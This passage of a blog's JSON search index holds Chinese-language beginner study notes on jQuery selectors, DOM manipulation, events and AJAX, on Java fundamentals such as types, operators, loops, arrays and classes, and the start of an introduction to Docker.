\u0026quot;hidden\u0026quot;\u0026gt;hi\u0026lt;/div\u0026gt;\rcontextmenu","title":"HTML全局属性笔记"},{"content":"##第一个jQuery程序\n$(\u0026lsquo;div\u0026rsquo;).html(\u0026ldquo;hello.world\u0026rdquo;);\n##DOM对象和jQuery对象互转化\njQuery对象和DOM对象是不一样的，但是都能操作DOM\nget()方法（jquery对象转化为DOM对象）\nvar $main =$(\u0026rsquo;.main\u0026rsquo;); // jquer对象\nvar main = $main.get(0); // 通过get方法，转化成DOM对象\nmain.style.color = \u0026lsquo;#c7edcc\u0026rsquo;; // 操作DOM对象属性\nDOM对象转化为jQuery对象\nvar main = document.getElementsByClassName(\u0026lsquo;main\u0026rsquo;); // DOM对象\nvar $main = $(main); // jQuery对象\n$main.css(\u0026lsquo;color\u0026rsquo;,\u0026rsquo;#c7edcc\u0026rsquo;); // 操作jQuery对象属性\n##jQuery选择器\n元素选择器\n$(\u0026lsquo;div\u0026rsquo;)\nID选择器\n$(\u0026quot;#main\u0026quot;)\nid是唯一性，只能在页面中使用一次\n类选择器\n$(\u0026rsquo;.main\u0026rsquo;)\n全选择器\n$(\u0026rsquo;*\u0026rsquo;)\n层次选择器\n$(\u0026lsquo;div .main\u0026rsquo;)\n属性选择器\n$(\u0026ldquo;a[href=\u0026ldquo;https://xiaochenabc123.test.com\u0026rdquo;]\u0026rdquo;) // 选择带href属性的a元素\n可以使用前缀或者后缀来选择 $(\u0026ldquo;div[name^=\u0026ldquo;yes\u0026rdquo;]\u0026rdquo;) // 选择div标签的neme属性值为yes开头的 $(\u0026ldquo;div[name$=\u0026ldquo;yes\u0026rdquo;]\u0026rdquo;) // 选择div标签的neme属性值为yes结尾的\n组合选择器\n$(\u0026ldquo;div[class=divs]\u0026rdquo;)\n组合选择器其实就是用多个选择器组合起来\n多项选择器\n$(\u0026ldquo;div[class=divs],a[href=\u0026ldquo;https://xiaochenabc123.test.com\u0026rdquo;)\n多项选择器就是将多个选择器用逗号组合起来\n层级选择器 $(\u0026ldquo;ul.nev li.active\u0026rdquo;)\n必须确保DOM元素之前具有层级关系，每个层级使用空格分开\n子选择器\n$(\u0026ldquo;ul.nev\u0026gt;li.active\u0026rdquo;)\n必须确保层级关系是父子关系（不是祖先关系）\n过滤选择器\n$(\u0026ldquo;div:first\u0026rdquo;) // 过滤出第一个div元素\n$(\u0026ldquo;ul li:first-child\u0026rdquo;) // 过滤出每个ul元素下的第一个li元素\n$(\u0026ldquo;ul li:last-child\u0026rdquo;) // 过滤出每个ul元素下的最后一个li元素\n$(\u0026ldquo;ul li:nth-child(3)\u0026rdquo;) // 过滤出每个ul元素下的最后一个li元素\n$(\u0026ldquo;ul li:nth-child(odd)\u0026rdquo;) // 过滤出每个ul元素下个数为奇数的li元素，从1开始\n$(\u0026ldquo;ul li:nth-child(even)\u0026rdquo;) // 过滤出每个ul元素下个数为偶数的li元素\n$(\u0026lsquo;div\u0026rsquo;).find(\u0026rsquo;.main\u0026rsquo;) // 选择div元素下的全部带有main类的元素\n$(.main).parent() // 选择.main类的上一级（父级）元素\n$(.main).parents() // 选择.main类的父（祖先）级元素\n特殊选择器\n$(\u0026quot;:input\u0026rdquo;) // 选择input,textarea,select,button类型的元素\n$(\u0026quot;:file\u0026quot;) // 选择input元素type属性为file的\n$(\u0026quot;:checkbox\u0026quot;) // 选择input元素type属性为checkbox的\n$(\u0026quot;:radio\u0026quot;) // 选择input元素type属性为radio的\n$(\u0026quot;:focus\u0026quot;) // 选择当前输入框焦点所在的元素\n$(\u0026quot;:checked\u0026quot;) // 选择当前被勾上的单选框和复选框\n$(\u0026quot;:enabled\u0026quot;) // 选择当前可以输入的元素，例如input\n$(\u0026quot;:disabled\u0026quot;) // 和enabled相反，选择当前不能输入的\n$(\u0026lsquo;div:visible\u0026rsquo;) // 选择当前所有可见的div\n$(\u0026lsquo;div:hidden\u0026rsquo;) // 选择当前所有隐藏的div\n查找以及过滤\n查找使用find(),例如：\nvar yes = div.find(\u0026rsquo;.container\u0026rsquo;)\n如果需要从父级或者祖先查找，需要用到parent()，例如：\nvar abc = yes.parent(\u0026rsquo;.container\u0026rsquo;) // 如果过滤条件不符合，返回空jQuery对象\n如果在同一级中，需要用到prev()和next()，例如：\nabc.prev() // 在同一级中向上\nabc.next() // 在同一级中向下\n过滤\n这个过滤不是上面那个过滤选择器之类（那个是选择），这个是真的过滤。过滤掉不符合条件的，例如：\nvar abc = yes.filter(\u0026rsquo;.container\u0026rsquo;) // 过滤掉div元素中带有.container类的\nmap()方法可以将jQuery对象包含的DOM元素转换为其他对象（例如数组，数组也是一个对象）例如：\nvar abc = yes.map(function () { return this.innerHTML; }).get();\n##操作DOM\n$(.main).css({xxx : \u0026lsquo;xx\u0026rsquo;,xxx : \u0026lsquo;xx\u0026rsquo;}) // 操作多条样式（对象）多个样式用逗号分开\n.addClass() // 为被选择元素添加一个类或者多个类（class属性），多个类要使用空格分隔开\n.removeClass() // 为被选择元素移除一个类或者多个类（class属性），多个类要使用空格分隔开，如果没有指定要移除那个类，那么将移除全部类\n.hasClass() // 检测被选择元素是否存在某个类，返回的值为布尔值\n.hide() // 被选择元素隐藏，可选参数为时间，单位为毫秒\n.show() // 被选择元素显示，可选参数为时间，单位为毫秒\n.fadeOut() // 被选择元素隐藏，带淡出效果，可选参数为时间，单位为毫秒\n.fadeIn() // 被选择元素显示，带淡入效果，可选参数为时间，单位为毫秒\n.slideUp() // 被选择元素隐藏，带滑动效果，可选参数为时间，单位为毫秒\n.slideDown() // 被选择元素显示，带滑动效果，可选参数为时间，单位为毫秒\n.animate() // 可以修改被选择元素的样式，将样式过渡到设定值，单位为毫秒\n.delay() // 可以和.animate()搭配来延长执行.animate()的功能，单位为毫秒\n$(\u0026rsquo;.main\u0026rsquo;).text(\u0026lsquo;hallo,world\u0026rsquo;); // 只能操作文本\n.html(\u0026rsquo;hallo,world\u0026rsquo;) // 可以添加元素标签\n.prepend(\u0026rsquo;hallo,world\u0026rsquo;) // 在前面添加\n.append(\u0026rsquo;hallo,world\u0026rsquo;) // 在后面添加\n.remove() // 删除\n##事件\n$(\u0026rsquo;.main\u0026rsquo;).click() // 点击触发事件（单击）\n.ready() // 当文档加载完成才执行触发事件\n.dblclick() // 双击触发事件\n.mouseenter() // 当鼠标移动到元素触发事件（接触元素）\n.mouseleave() // 当鼠标离开元素触发事件\n.mousemove() // 当鼠标在指定元素中移动时触发事件\n.mousedown() // 当鼠标移动元素，并且单击时触发事件\n.mouseup() // 当鼠标在元素上点击，松开鼠标按键时触发事件\n.hover() // 当鼠标移动到元素和离开元素时触发事件，有两个指定函数，但进入时触发第一个函数，离开时触发第二个函数\n.focus() // 当焦点在元素上时，触发事件\n.blur() // 当元素失去焦点时，触发事件\n.keyup() // 当键盘被松开时触发事件\n.keydown() // 当键盘被点击时触发事件\n.keypress() // 当在输入处键盘被按键时触发（屏蔽输入法的按键，每输入一个字符，触发一次）\n.scroll() // 当元素被滚动时触发（搭配overflow:scroll;使用更佳）\n.resize() // 当对浏览器窗口调整大小时触发\n.submit() // 当提交表单时触发（只作用在form元素）\n.change() // 当元素的值被改变时，在失焦时触发（只适用文本域和 textarea元素，select 元素）\n$(\u0026rsquo;.main\u0026rsquo;).val(); // 获取或者设置值（value属性，input元素）\n.focus() // 当输入框得到焦点时触发\n.select() // 当文本类型得到标记（被选择）时触发\n.blur() // 当输入框失去焦点时触发\n.submit() // 将表单数据提交到web服务器\n解除事件绑定\n例如：\nabc.click(yes)\nsetTimeout(function(){ abc.off(\u0026ldquo;click\u0026rdquo;,yes)\n},1000)\n时间单位为毫秒\n如果不是使用函数来调用的，可以直接使用off(\u0026lsquo;click\u0026rsquo;)来解除click事件，也可以直接用off()来解除全部被绑定事件\n##操作元素属性\n$(\u0026rsquo;.main\u0026rsquo;).attr(\u0026ldquo;color\u0026rdquo;,\u0026ldquo;333\u0026rdquo;) // 设置或者返回被选元素的属性和值\n.prop() // 设置或者返回被选元素的属性和值\n.removeAttr() // 移除属性\n注意：\n操作自定义属性要使用attr()，操作元素本身就携带的固有属性推荐使用prop()\nAJAX\njQuery提供了ajax()函数，例如：\nvar hallo = $.ajax(\u0026lsquo;url:/test.txt\u0026rsquo;,dataType: \u0026rsquo;text\u0026rsquo;)\najax()需要一个可选参数，一般的参数有：\nurl ： 发送请求的地址，默认为当前页面\ndataType ：接收的数据格式，例如：html，text等等，如果没有提供该参数，由Content-Type来处理\nasync ： 是否执行异步请求，没有提供该参数时，默认为true\ndata ： 发送到服务器的数据，可以是字符串，对象或者数组\nsuccess ： 请求成功后的回调函数\nget()\njQuery提供了get方法，例如：\nvar abc = $.get(url: /test.html,{ user: \u0026lsquo;root\u0026rsquo;, pass: \u0026lsquo;123\u0026rsquo; })\n如果这样写，那么链接为/test.html?user=root\u0026amp;pass=123\npost()\nvar abc = $.post(url: /test.html,{ user: \u0026lsquo;root\u0026rsquo;, pass: \u0026lsquo;123\u0026rsquo; })\ngetJSON()\nvar abc = $.getJSON(url: /test.html,{ user: \u0026lsquo;root\u0026rsquo;, pass: \u0026lsquo;123\u0026rsquo; }).done(function(datas){})\njQuery允许扩展jQuery来自定义方法\n$.fn.hallo = function(){ this.css(\u0026lsquo;width\u0026rsquo;,\u0026lsquo;100px\u0026rsquo;).css(\u0026lsquo;height\u0026rsquo;,\u0026lsquo;100px\u0026rsquo;) return this }\n调用jQuery插件\n$(\u0026rsquo;.main\u0026rsquo;).hallo()\njQuery插件参数\n$.fn.hallo = function(){ var widths = options \u0026amp;\u0026amp; options.width || \u0026lsquo;1920px\u0026rsquo; var heights = options \u0026amp;\u0026amp; options.height || \u0026lsquo;1080px\u0026rsquo; this.css(\u0026lsquo;width\u0026rsquo;,widths).css(\u0026lsquo;height\u0026rsquo;,heights) return this }\n$(\u0026rsquo;.main\u0026rsquo;).hallo({ width: \u0026lsquo;800px\u0026rsquo; height: \u0026lsquo;600px\u0026rsquo; })\n","permalink":"https://xiaochenabc123.github.io/posts/21/","summary":"##第一个jQuery程序\n$(\u0026lsquo;div\u0026rsquo;).html(\u0026ldquo;hello.world\u0026rdquo;);\n##DOM对象和jQuery对象互转化\njQuery对象和DOM对象是不一样的，但是都能操作DOM\nget()方法（jquery对象转化为DOM对象）\nvar $main =$(\u0026rsquo;.main\u0026rsquo;); // jquer对象\nvar main = $main.get(0); // 通过get方法，转化成DOM对象\nmain.style.color = \u0026lsquo;#c7edcc\u0026rsquo;; // 操作DOM对象属性\nDOM对象转化为jQuery对象\nvar main = document.getElementsByClassName(\u0026lsquo;main\u0026rsquo;); // DOM对象\nvar $main = $(main); // jQuery对象\n$main.css(\u0026lsquo;color\u0026rsquo;,\u0026rsquo;#c7edcc\u0026rsquo;); // 操作jQuery对象属性\n##jQuery选择器\n元素选择器\n$(\u0026lsquo;div\u0026rsquo;)\nID选择器\n$(\u0026quot;#main\u0026quot;)\nid是唯一性，只能在页面中使用一次\n类选择器\n$(\u0026rsquo;.main\u0026rsquo;)\n全选择器\n$(\u0026rsquo;*\u0026rsquo;)\n层次选择器\n$(\u0026lsquo;div .main\u0026rsquo;)\n属性选择器\n$(\u0026ldquo;a[href=\u0026ldquo;https://xiaochenabc123.test.com\u0026rdquo;]\u0026rdquo;) // 选择带href属性的a元素\n可以使用前缀或者后缀来选择 $(\u0026ldquo;div[name^=\u0026ldquo;yes\u0026rdquo;]\u0026rdquo;) // 选择div标签的neme属性值为yes开头的 $(\u0026ldquo;div[name$=\u0026ldquo;yes\u0026rdquo;]\u0026rdquo;) // 选择div标签的neme属性值为yes结尾的\n组合选择器\n$(\u0026ldquo;div[class=divs]\u0026rdquo;)\n组合选择器其实就是用多个选择器组合起来\n多项选择器\n$(\u0026ldquo;div[class=divs],a[href=\u0026ldquo;https://xiaochenabc123.test.com\u0026rdquo;)\n多项选择器就是将多个选择器用逗号组合起来\n层级选择器 $(\u0026ldquo;ul.nev li.active\u0026rdquo;)","title":"jQuery基础学习笔记"},{"content":"java基于java虚拟机（Java Virtual Machine，JVM）和java应用编程接口（Application Programming Interface，API）构成\njava的跨平台得益于java虚拟机，只需要编译一次java程序，就可以在不同系统的java虚拟机上运行\njava编译成字节流，java虚拟机通过解析这些字节流来做的跨平台，编译完成得到的字节流可以在不同平台的java虚拟机上跑\njava分为Java SE、Java EE 和 Java ME。\n类的命名：必须是英文开头，后可字母，数字和下划线\n一般为大写字母开头\n例如：\npublic class Abc\npublic是访问修饰符，表示该class为公开，如果没有写pulic，也可以正常编译，但是这个class将不能在命令行中执行\n在class内部可以定义方法，例如:\npublic static void main(String[] args){}\n这个例子的方法名为main，返回值为void，表示没有返回值，空\nstatic是一个关键字，同样也是修饰符，表示静态方法\njava入口程序必须是静态方法，方法名也必须为main，参数必须为String数组\n在方法内部，语句才能执行，每一行程序都必须要以分号结束;\n// 单行注释\n/*\n多行注释\n*/\n/** *\n一样是多行注释 * */ java的变量的类型和JavaScript一样，变量分两种，基本类型变量和引用类型变量 java有8种基础类型，分别是整型（4种），字符型（1种），浮点型（2种），布尔型（1种）\n变量必须先定义，后赋值使用，例如：\nint a = 1;\n定义为int整数类型，名称为a，初始值为1\n变量的特点就是可以重新赋值\nint i = 1; // 定义int类型，名称为i，赋值为1\ni = 100; // 重新赋值为100\nint x = i; // 变量x的值为i，因为i的值为100，所以x的值为i\n整型\n整型类型：int，byte，short，long\n整型类型的数就是整数，整数默认为int，在数值后加上L就代表为long，例如：long abc = 123L;\n因为java的整型是有符号类型的，0表示正数，1表示为负数，所以取值范围是从负多少到正多少，不能超过取值范围\n整数的值的表示支持二进制，八进制，十进制，十六进制\nbyte：-128 ~ 127 长度8位 short: -32768 ~ 32767 长度16位 int: -2147483648 ~ 2147483647 长度32位 long: -9223372036854775808 ~ 9223372036854775807 长度64位\n浮点型\n浮点型类型：float（长度32位），double（长度64位）\n浮点型默认为double，在数值后加F，代表为float类型，例如：float abc = 3.14F;\n浮点型支持科学计数法（E或者e），e2就是代表为10的2次方，例如：3.14e2 = 3.14x100\nfloat：3.4E-038 ~ 3.4E+038 double：1.7E-308 ~ 1.7E+308\n浮点类型的数就是小数\n小数值默认位double类型\n如果想将一个小数类型设置为float类型，需要在小数后加f，例如：float abc = 3.14 f\nfloat（单精度）精度是7位有效数字，第7位数字后面的会四舍五入\nfloat a = 0.987654321f; // 实质上为0.9876543 ，2和1被四舍五入了，使用float类型，要在后面加上f\ndouble（双精度）精度是16位有效数字\n在计算机中，使用符号位（sign）+指数（exponent）+小数位（fraction），来表示浮点数（浮点表示法）\n符号位表示正负，指数表示取值范围，小数位表示计算精度\n例如： float类型为32位，符号位占1位，指数位占8位，小数位占23位，小数位不足位数的补0\ndouble类型为64位，符号位占1位，指数占11为，小数位占52位，小数位不足位数的补0\n布尔类型\njava布尔类型和很多程序语言一样，用来表示真与假，布尔类型只有两个值，true和false，长度为1位\n可以赋值变量为布尔类型，也可以通过关系运算来返回\n例如：\nboolean a = true;\nboolean b = 1\u0026gt;2;\n字符类型\n字符类型char表示一个字符，char类型不但可以表示标准的ASCII，还可以表示一个Unicode字符\nchar类型使用单引号\u0026rsquo;\u0026lsquo;来表示，而且只能存储一个字符，长度为16位\n字符串\n字符串类型String是一个引用类型，例如：\nString a = \u0026ldquo;abc\u0026rdquo;;\n引用类型的变量是类似于c语言的指针，内部保存了一个地址，指向某一个对象在内存的位置\n\\代表为转义符，例如：\\n\n类型转换\n精度小的类型可以自动转换为精度大的类型 精度大的类型，需要强制转换，才能转换到精度小的类型，而且还可能溢出\n例如：\n自动转换\nint a= 100;\nlong b;\na =b;\n强制转换\nint a = 999;\nbyte a = (byte)b;\n因为byte类型取值范围为：-128 ~ 127，999超过了byte类型的取值范围\n如果一个变量在类下声明，那么这个变量整个类都可以访问，其作用域就在其声明的那个类中，覆盖整个类\n当一个变量在一个方法内部被定义，那么这个变量只能作用于该方法内部，这也叫为局部变量，方法一执行结束，该变量就被销毁\n常量\n使用final修饰符定义常量，例如\nfinal int a = 123;\n常量在定义时初始化后就不能重新赋值了，常量的命名习惯为全部大写\nvar 关键字\nvar关键字会自动推断变量的类型，使用var定义变量只是少写了变量类型，例如\nvar a = 123;\n运算\n整数的运算，是精确的，因为只取结果的整数部分\n溢出：指一个数超过数据类型的取值范围了，只要这个数超出了取值范围，那么就会产生溢出，溢出不会报错，会返回一个数，这个数会通过二进制运算来处理\n+=，-=，*=，/=\n例如： a+=2 // 相当于 a = a + 2\n++和\u0026ndash;运算\na++ // 相当于 a = a + 1 a\u0026ndash; // 相当于 a = a - 1\na++和++a\n++a ，表示先加1，再引用a，a++，表示引用a，再加1\n\u0026gt;大于，\u0026gt;=大于或等于，\u0026lt;小于，\u0026lt;=小于或等于，==是否相等，!=是否不相等\n\u0026amp;：与，当俩边都为真时，为真，两边的表达式都处理 \u0026amp;\u0026amp;：与，当俩边都为真时，为真，只要第一个表达式的值为假，第二个就不进行处理 |：或，当两边都为假时，为假，任意一个表达式的值为真，则为真，两边的表达式都处理 ||：或，当两边都为假时，为假，任意一个表达式的值为真，则为真，只要第一个表达式的值为真，第二个就不进行处理 !：取反，当表达式的值为真时，返回假，表达式的值为假时，返回真 ^：异或，表达式的值不同时，返回真，相同时返回假\n移位运算\n因为在计算机中整数是以二进制表示的，所以可以通过移位运算\nInteger.toBinaryString() 方法可以将十进制转换为二进制，例如：\nint a =10; String b = (Integer.toBinaryString(a));\nb的值为1010\n例如：\nint abc = 100;\nint a = abc \u0026laquo; 3; // 向左移动3位 a = 800\nint b = abc \u0026raquo; 3; // 向右移动3位，b = 12\nint c = -1 \u0026raquo;\u0026gt; 2; // 无符号向右移，c = 1073741823\n位或|：当对应的二进位中，有一个为1时，结果为1，例如\n1|2 ： 1的二进制为1，2的二进制为10，那么得到的二进制结果为11，转换为十进制为3\n位与\u0026amp;：当对应的二进位中，俩边都为1时，结果为1，例如\n1\u0026amp;2 ：二进制结果为10，十进制结果为2\n异或^：当对应的二进位中，两边的值都不为1时，结果为1，例如：\n1^2：二进制结果为01，十进制结果为1\n取非~：将二进制位倒反，将0改为1，将1改为0，例如：\nint a = 10 // 10的二进制为1010\n~a // 值为0101，十进制结果为5\n= ：赋值 += ： 自加，例如i+=1，那么等于i=i+1 -=：自减，例如i-=1，那么等于i=i-1 还有%=，\u0026amp;=，/=，|=，^=，\u0026laquo;=，\u0026raquo;=，\u0026raquo;\u0026gt;=都是类似的\n三元操作符\n基础语法为：\na=x\u0026gt;c?值1:值2\n用if语句来看就等于:\nif(x\u0026gt;c){ a=值1 }else{ a=值2 }\nif判断\n根据条件来执行或者不执行某段语句，基本语法例如：\nif（条件）{ // 当条件满足时执行的语句 }else{ // 当条件不满足时执行的语句 }\n例如： if(a\u0026gt;=100){ System.out.println(\u0026ldquo;a大于或者等于100\u0026rdquo;); }else{ System.out.println(\u0026ldquo;a不大于或者等于100\u0026rdquo;); }\nswitch判断\n根据表达式的结果来执行相对应的语句，例如：\nswitch(a){ case 1: System.out.println(\u0026ldquo;a等于1\u0026rdquo;); break; case 2: System.out.println(\u0026ldquo;a等于2\u0026rdquo;); break; default: System.out.println(\u0026ldquo;不知道a等于多少\u0026rdquo;); }\nswitch也可以匹配字符串\nwhile循环\n循环就是根据条件进行循环处理，当条件满足时循环处理，当条件不满足时退出循环\n例如：\nwhile (a\u0026gt;=100){ System.out.println(a); a++; } while循环是先判断后循环处理，当初始条件不满足时，那么一次循环都不会发生\ndo\u0026hellip;while就是先执行再判断条件，例如：\ndo{ System.out.println(a); a++; }while (a\u0026gt;=100);\n先执行do里面的语句，再判断条件是否满足，所以do\u0026hellip;while最低也会执行一次，哪怕初始条件也是不满足的\nfor循环\nfor和while不一样，它是使用计数器（自增或者自减）来实现循环，例如：\nfor (int a=1;a\u0026lt;=100;a++){ system.out.println(a); }\nfor可以用于数组遍历\nbreak语句用于退出当前循环\ncontinue语句用于提前结束本次循环，直接执行下次循环\n例如：\nfor (int a=1;a\u0026lt;=100;a++){ system.out.println(a); if(a==2){ break; } if(a==3){ continue; }\n数组\n数组的定义及遍历\nint[] arr = {5,1,3,7,8,2,6,0,10,4,9};\nfor (int i=0;i\u0026lt;arr.length;i++){ system.out.println(arr[i]); }\n循环遍历的另一种方式\nfor(int a:b){ System.out.println(a); }\n数组的每一个元素都可以通过索引来访问，数组的索引是从0开始，例如数组的第一个元素，就是arr[0]，通过for循环，当i不小于时停止循环，i为索引值，arr.length为该数组的长度，从而达到输出数组的元素\nint[] arr = {5,1,3,7,8,2,6,0,10,4,9};\nfor (int i;arr){ system.out.println(i); }\ni:arr方法可以让变量i拿到arr数组的元素，而不是通过索引获取arr数组的值\n多维数组的定义及遍历\nInt[][] arr={{1,4,6},{,3,5,7},{9,2,2}};\nfor (int i=0;i\u0026lt;arr.length;i++){ for(int r=0;r\u0026lt;arr[i].length;r++){ system.out.println(arr[i][r]);\n} }\n通过for嵌套，达到遍历二维数组及多维数组\n数组的排序\n冒泡排序\nint[] arr = {5,1,3,7,8,2,6,0,10,4,9};\nfor (int i=0;i\u0026lt;arr.length-1;i++){ for(int r=0;r\u0026lt;arr.length-i-1;r++){ if(arr[r]\u0026gt;arr[r+1]{ int a = arr[r]; arr[r]=arr[r+1]; arr[r+1] =a; ) } } system.out.println(Arrays.toString(arr));\n通过循环，将相邻的数的位置互换，最大的数被换到末尾，对数组的排序是会修改数组本身，最好新建个数组，将数组的元素放入新的数组里，操作新的数组\narraycopy(被复制的数组,从被复制数组中复制数组的开始位置,需要复制的目标数组,复制到目标的数组的开始位置,复制的长度)\n二维数组\nint a[][] = new int[][]{ {1,2,3}, {9,8,7} };\nint a[][] = new int[9][8]; # 有9个一维数组，每个一维数组的长度为8，\na[3][6]=88; # 可以直接访问已经定义好的数组，并且赋值\n众所周知，java是一门面对对象的语言\n面向对象的实现是继承性和多态性\n面向对象的概念是方法，类，实例\n面对对象基础\n类是实例的构造，类是实例模板，定义了创建实例的方法，实例是根据类创建\n定义类\nclass Hallo{ public int a; public String b; public double c; }\n一个类可以包含字段，字段用于描述类的特征，这里定义了三个字段，分别是int类型的，命名为a，string类型的，命名为b，double类型的，命名为c，通过将这一组数据放在一个对象上，达到数据封装\n创建实例\nHallo abc = new Hallo();\n建立一个Hallo类的实例，通过变量abc指向该实例，Hallo abc是定义Hallo类型的变量abc，new Hallo()才是创建Hallo实例\n实例可以通过变量.字段方法来访问到实例变量，例如：\nGo maina = new Go(); maina.a = 18; maina.b =\u0026ldquo;hallo\u0026rdquo;; maina.c = 1.2; System.out.println(maina.b);\n}\r}\nclass Go { public int a; public String b; public double c; }\n注意：在不同的实例中定义的变量，即便变量名相同，但是在内存中，是不同的，互不干扰，可以理解为局部变量的意思\n并不建议在实例中直接操作字段，这样会破坏封装性\n方法\n使用private修饰的字段，外部程序是不能访问这些字段的，为了处理这个问题，需要用到方法来间接处理这些字段\nGo maina = new Go(); maina.setA(18); maina.setB(\u0026ldquo;hallo\u0026rdquo;); System.out.println(maina.getA()+maina.getB); } } class Go { private int a; private String b;\npublic int getA(){\rreturn this.a;\r}\rpublic void setA(int a) {\rthis.a = a;\r}\rpublic String getB(){\rreturn this.b;\r}\rpublic void setB(String b) {\rthis.b = b;\r}\r}\n外部程序通过调用方法getA()和getB()来间接修改字段\n一个类通过定义方法，应该给外部程序提供可以操作的api，也要保证内部的逻辑性\n调用方法：实例.方法(参数);\nprivate方法\n该方法不允许外部调用，主要是在内部方法调用\npublic class hallo { public static void main(String[] args) { go oo = new go(); oo.setAge(2002); System.out.println(oo.getAge());\n}\r} class go{ private String name; private int age;\npublic void setAge(int age){\rthis.age = age;\r}\rpublic int getAge(){\rreturn abc(2020);\r}\rprivate int abc(int xyz){\rreturn xyz - this.age;\r}\r}\nabc() 就是一个private方法\nthis变量\n在方法内部，有一个变量this，这个变量始终指向当前的实例，例如this.age\n一般来说，命名没有冲突，可以省略this，但是如果字段同名或者有局部变量，那么必须要加上this\n方法参数\n方法可以提供0个或者任意个参数，方法参数用于提供变量给方法 例如 class hallo{ public void abc(int age, String name){}\n参数必须要符合个数要求和数据类型要求\npackage包\npackage hallo; # 声明该类处在那个包中\nimport hallo.yes; # 导入类中需要的类(用来导入其他包的类)\n访问修饰符\n修饰符有四种：\nprivate # 私有的\npackage/friendly/default # 不可写的\nprotected # 受保护的\npublic # 公共的\n例如：public String yes;\n类与类之间的关系\n继承：指一个类继承另一个类的功能，来增加本身的功能\n实现：指一个类实现接口功能，是类和接口之间最常见的关系\n依赖：指一个类使用了另一个类，而依赖于另一个类，另一个类发生改变有可能导致影响当前类\n关联：和依赖关系类似，不过是更强的依赖关系，关联关系可以单向关联，也可以双向关联\n聚合：和关联关系类似，不过整体和部分可以分离，有独自的生命周期\n组合：和关联关系类似，不过整体和部分不可以分离，整体的生命周期结束后那么部分的生命周期也结束了\nprivate：本身可以访问，但是不能继承类，不能访问同包下的类和其他包下的类\npackage/friendly/default ：本身可以访问，同包下的类可以继承，不同包下的类不能继承，可以访问同包下的类，不能访问不同包下的类\nprotected：本身可以访问，同包下的类可以继承，不同包下的类可以继承，可以访问同包下的类，不能访问不同包下的类\npublic：本身可以访问，同包下的类可以继承，不同包下的类可以继承，可以访问同包下的类，可以访问不同包下的类\n访问修饰符一般用来封装，将每一个类的作用明确化\n实例属性和类属性\n当一个属性声明为类属性，那么所有的对象都可以使用这个值，例如：\npublic class Untitled {\rpublic String name; // 对象属性\rstatic String yes; // 类属性\rpublic static void main(String[] args) {\rUntitled main = new Untitled();\rmain.name = \u0026quot;yes\u0026quot;;\rUntitled.yes = \u0026quot;gg\u0026quot;;\rSystem.out.println(main.name);\rSystem.out.println(main.yes);\rUntitled max = new Untitled();\rmax.name = \u0026quot;no\u0026quot;;\rSystem.out.println(max.name); System.out.println(max.yes);\r}\r}\r输出yes，gg，no，gg\n可以通过main.yes和UntUntitled.yes来访问类属性\n只有当一个类的所有对象的某个值都相同时，可以使用类属性\n当一个类的对象的某个值不同时，使用实例属性，让这个值可以根据对象的不同来自定义\n类方法和实例方法\n实例方法必须要有对象才能调用，但是类方法可以直接通过类来调用，不需要对象的存在\n例如：\npublic class Untitled {\rpublic String name; protected String yes;\rpublic void hallo(){\ryes = \u0026quot;hallo word\u0026quot;;\rSystem.out.println(yes);\r}\rpublic static void name() {\rSystem.out.println(\u0026quot;hallo java\u0026quot;);\r}\rpublic static void main(String[] args) {\rUntitled main = new Untitled();\rmain.hallo();\rUntitled.name();\r}\r}\r可以通过main.name()或者UntUntitled.name()来调用类方法\n如果在一个方法中调用了对象属性，那么使用实例方法，如果在一个方法中没有调用任何对象属性，那么使用类方法\njava输出中文乱码，可能是javac读取java文件使用的字符集错误\njavac -encoding utf-8 *.java\njava已放弃学习，主打golang和Python了（java又臭又长，快来加入golang教吧）\n","permalink":"https://xiaochenabc123.github.io/posts/19/","summary":"java基于java虚拟机（Java Virtual Machine，JVM）和java应用编程接口（Application Programming Interface，API）构成\njava的跨平台得益于java虚拟机，只需要编译一次java程序，就可以在不同系统的java虚拟机上运行\njava编译成字节流，java虚拟机通过解析这些字节流来做的跨平台，编译完成得到的字节流可以在不同平台的java虚拟机上跑\njava分为Java SE、Java EE 和 Java ME。\n类的命名：必须是英文开头，后可字母，数字和下划线\n一般为大写字母开头\n例如：\npublic class Abc\npublic是访问修饰符，表示该class为公开，如果没有写pulic，也可以正常编译，但是这个class将不能在命令行中执行\n在class内部可以定义方法，例如:\npublic static void main(String[] args){}\n这个例子的方法名为main，返回值为void，表示没有返回值，空\nstatic是一个关键字，同样也是修饰符，表示静态方法\njava入口程序必须是静态方法，方法名也必须为main，参数必须为String数组\n在方法内部，语句才能执行，每一行程序都必须要以分号结束;\n// 单行注释\n/*\n多行注释\n*/\n/** *\n一样是多行注释 * */ java的变量的类型和JavaScript一样，变量分两种，基本类型变量和引用类型变量 java有8种基础类型，分别是整型（4种），字符型（1种），浮点型（2种），布尔型（1种）\n变量必须先定义，后赋值使用，例如：\nint a = 1;\n定义为int整数类型，名称为a，初始值为1\n变量的特点就是可以重新赋值\nint i = 1; // 定义int类型，名称为i，赋值为1\ni = 100; // 重新赋值为100\nint x = i; // 变量x的值为i，因为i的值为100，所以x的值为i\n整型\n整型类型：int，byte，short，long\n整型类型的数就是整数，整数默认为int，在数值后加上L就代表为long，例如：long abc = 123L;","title":"JAVA基础学习笔记"},{"content":"docker是一个应用容器，可以将应用以及该应用的依赖打包到一个可以移植的容器中，应用在这个容器中运行\n可以进行转移，修改，版本管理等操作，不用担心应用转移到别的服务器会出现依赖问题\n将容器文件转移到别的服务器上，不会影响到容器，一次配置，可以在多个服务器上使用相同的环境\n在以前，根本不可能实现或者保障一个服务器是运行多个应用，直到虚拟机的出现，虚拟机可以让空闲的服务器部署新的应用，但是虚拟机依赖于操作系统，操作系统又会占用CPU和内存，以及存储，而且虚拟机的移植性差启动缓慢，直到容器的出现\n运行在相同的宿主机的容器是共享一个操作系统的，而且容器具备启动快，移植性强的特点（不用担心本地运行好好的，到生产环境就出一堆问题）\ndocker的多数项目和工具是使用golang编写的\nDocker容器技术高度依赖于Linux内核，不管是在windwos或者Mac OS上都不是真正的容器化（只有在Linux系统上才能实现无虚拟化的真正容器化），都是在虚拟化Linux之后，在Linux虚拟机的基础上实现的\nDocker三大件：镜像，容器，仓库\n镜像被用来创建容器（而且镜像文件是复用，只可读的）\n容器是镜像文件的实例，容器与容器之间是隔离的，容器可被启动，查看，暂停，退出，重启，删除\n仓库是集中存储镜像文件的地方，Docker官方仓库：https://hub.docker.com/\nDocker官网文档：https://docs.docker.com/\nDocker是基于C/S架构（Client-Server）的系统，Docker的守护进程（Docker Daemon）运行在服务端上，客户端通过Docker Client和守护进程建立通信，守护进程可以接收客户端发送的指令并且可以管理服务端的容器\nDocker 